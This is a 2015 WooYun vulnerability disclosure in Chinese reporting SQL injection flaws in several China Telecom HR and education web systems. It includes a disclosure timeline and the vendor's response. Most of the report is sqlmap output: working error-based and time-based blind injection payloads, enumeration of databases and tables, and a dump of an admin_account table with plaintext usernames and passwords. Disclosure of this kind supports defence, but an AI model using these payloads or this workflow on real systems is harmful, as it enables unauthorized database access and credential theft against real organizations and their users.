漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0134798
漏洞标题:中国电信某系统多处sql注入漏洞打包
相关厂商:中国电信
漏洞作者: DNS
提交时间:2015-08-21 23:22
修复时间:2015-10-08 10:40
公开时间:2015-10-08 10:40
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-08-21: 细节已通知厂商并且等待厂商处理中
2015-08-24: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开
简要描述:
RT 多个HR系统,还有一个论坛,不想去找在哪了
详细说明:
漏洞证明:
**.**.**.**/teachmate_new/keep.php?id= 存在sql注入漏洞
**.**.**.**/lcchen/newcs/hj_index3_new.php?code=011005002001 存在sql注入漏洞
**.**.**.**/xiaoxue/yw/download.php?id=4 存在sql注入漏洞
**.**.**.**/xiaoxue/yw/download.php?id=4 存在sql注入漏洞
**.**.**.**/lcchen/hj_content.php?id=11111&code=002010003002001 id=11111 存在sql注入漏洞
**.**.**.**/teachmate_new/keep.php?code= 存在sql注入漏洞
**.**.**.**/xiaoxue/yy/download.php?id=314 存在sql注入漏洞
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: id=-4635 OR (SELECT 9394 FROM(SELECT COUNT(*),CONCAT(0x7170616271,(SELECT (CASE WHEN (9394=9394) THEN 1 ELSE 0 END)),0x716f757271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 OR time-based blind (heavy query)
Payload: id=-7675 OR 6877=BENCHMARK(5000000,MD5(0x46766656))
---
[02:46:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.0.63, PHP 5.2.12
back-end DBMS: MySQL 5.0
[02:46:34] [INFO] fetching current database
[02:46:35] [WARNING] reflective value(s) found and filtering out
[02:46:35] [INFO] retrieved: teach
current database: 'teach'
[02:46:35] [INFO] fetching database names
[02:46:35] [INFO] the SQL query used returns 9 entries
[02:46:35] [INFO] resumed: information_schema
[02:46:35] [INFO] resumed: db_ic_hr
[02:46:35] [INFO] resumed: discuz
[02:46:35] [INFO] resumed: hdkt_dianbo
[02:46:35] [INFO] resumed: hj_web
[02:46:35] [INFO] resumed: hrqa_hr
[02:46:35] [INFO] resumed: mysql
[02:46:35] [INFO] resumed: teach
[02:46:35] [INFO] resumed: test
available databases [9]:
[*] db_ic_hr
[*] discuz
[*] hdkt_dianbo
[*] hj_web
[*] hrqa_hr
[*] information_schema
[*] mysql
[*] teach
[*] test
[02:46:35] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**'
[*] shutting down at 02:46:35
root@debug:~# sqlmap -u **.**.**.**/teachmate_new/keep.php?id= -D teach --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:47:33
[02:47:33] [INFO] resuming back-end DBMS 'mysql'
[02:47:33] [INFO] testing connection to the target URL
[02:47:33] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: id=-4635 OR (SELECT 9394 FROM(SELECT COUNT(*),CONCAT(0x7170616271,(SELECT (CASE WHEN (9394=9394) THEN 1 ELSE 0 END)),0x716f757271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 OR time-based blind (heavy query)
Payload: id=-7675 OR 6877=BENCHMARK(5000000,MD5(0x46766656))
---
[02:47:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.0.63, PHP 5.2.12
back-end DBMS: MySQL 5.0
[02:47:33] [INFO] fetching tables for database: 'teach'
[02:47:33] [WARNING] reflective value(s) found and filtering out
[02:47:33] [INFO] the SQL query used returns 42 entries
[02:47:33] [INFO] retrieved: SyncOrderRelationReq
[02:47:33] [INFO] retrieved: access_log
[02:47:33] [INFO] retrieved: admin_account
[02:47:33] [INFO] retrieved: advance_login
[02:47:34] [INFO] retrieved: advance_login_bak
[02:47:34] [INFO] retrieved: advance_logintemp
[02:47:34] [INFO] retrieved: clear_general_tmp
[02:47:34] [INFO] retrieved: coop_cernet
[02:47:34] [INFO] retrieved: cooperation
[02:47:34] [INFO] retrieved: dg_time
[02:47:34] [INFO] retrieved: diary
[02:47:34] [INFO] retrieved: directory
[02:47:35] [INFO] retrieved: directorygroup
[02:47:35] [INFO] retrieved: ebank
[02:47:35] [INFO] retrieved: ecommerce_cardsent
[02:47:35] [INFO] retrieved: ecommerce_vcs
[02:47:35] [INFO] retrieved: emap_exam
[02:47:35] [INFO] retrieved: emp3
[02:47:35] [INFO] retrieved: eregiongoodfriend
[02:47:35] [INFO] retrieved: eregionsmessage
[02:47:35] [INFO] retrieved: eregionusername
[02:47:36] [INFO] retrieved: error_log
[02:47:36] [INFO] retrieved: general_login
[02:47:36] [INFO] retrieved: lettersfromusers
[02:47:36] [INFO] retrieved: loginfo
[02:47:36] [INFO] retrieved: loginfo3e
[02:47:36] [INFO] retrieved: mima
[02:47:36] [INFO] retrieved: new_keep
[02:47:36] [INFO] retrieved: new_pro_info
[02:47:36] [INFO] retrieved: new_user_pay
[02:47:37] [INFO] retrieved: note
[02:47:37] [INFO] retrieved: notegroup
[02:47:37] [INFO] retrieved: photo3e
[02:47:37] [INFO] retrieved: photogroup
[02:47:37] [INFO] retrieved: qa_yw
[02:47:37] [INFO] retrieved: teacher_info
[02:47:37] [INFO] retrieved: testinfo
[02:47:37] [INFO] retrieved: user_email
[02:47:37] [INFO] retrieved: user_pri
[02:47:38] [INFO] retrieved: user_test
[02:47:38] [INFO] retrieved: vcs_hourpayed
[02:47:38] [INFO] retrieved: yanzhengma
Database: teach
[42 tables]
+----------------------+
| SyncOrderRelationReq |
| access_log |
| admin_account |
| advance_login |
| advance_login_bak |
| advance_logintemp |
| clear_general_tmp |
| coop_cernet |
| cooperation |
| dg_time |
| diary |
| directory |
| directorygroup |
| ebank |
| ecommerce_cardsent |
| ecommerce_vcs |
| emap_exam |
| emp3 |
| eregiongoodfriend |
| eregionsmessage |
| eregionusername |
| error_log |
| general_login |
| lettersfromusers |
| loginfo |
| loginfo3e |
| mima |
| new_keep |
| new_pro_info |
| new_user_pay |
| note |
| notegroup |
| photo3e |
| photogroup |
| qa_yw |
| teacher_info |
| testinfo |
| user_email |
| user_pri |
| user_test |
| vcs_hourpayed |
| yanzhengma |
+----------------------+
[02:47:38] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**'
Table: admin_account
[3 entries]
+----+------+----------+--------------+
| id | item | username | userpassword |
+----+------+----------+--------------+
| 0 | 0 | admin | 12345 |
| 1 | 0 | coadm | hr113 |
| 2 | 1 | test | normal |
+----+------+----------+--------------+
修复方案:
版权声明:转载请注明来源 DNS@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2015-08-24 10:38
厂商回复:
CNVD确认并复现所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.
最新状态:
暂无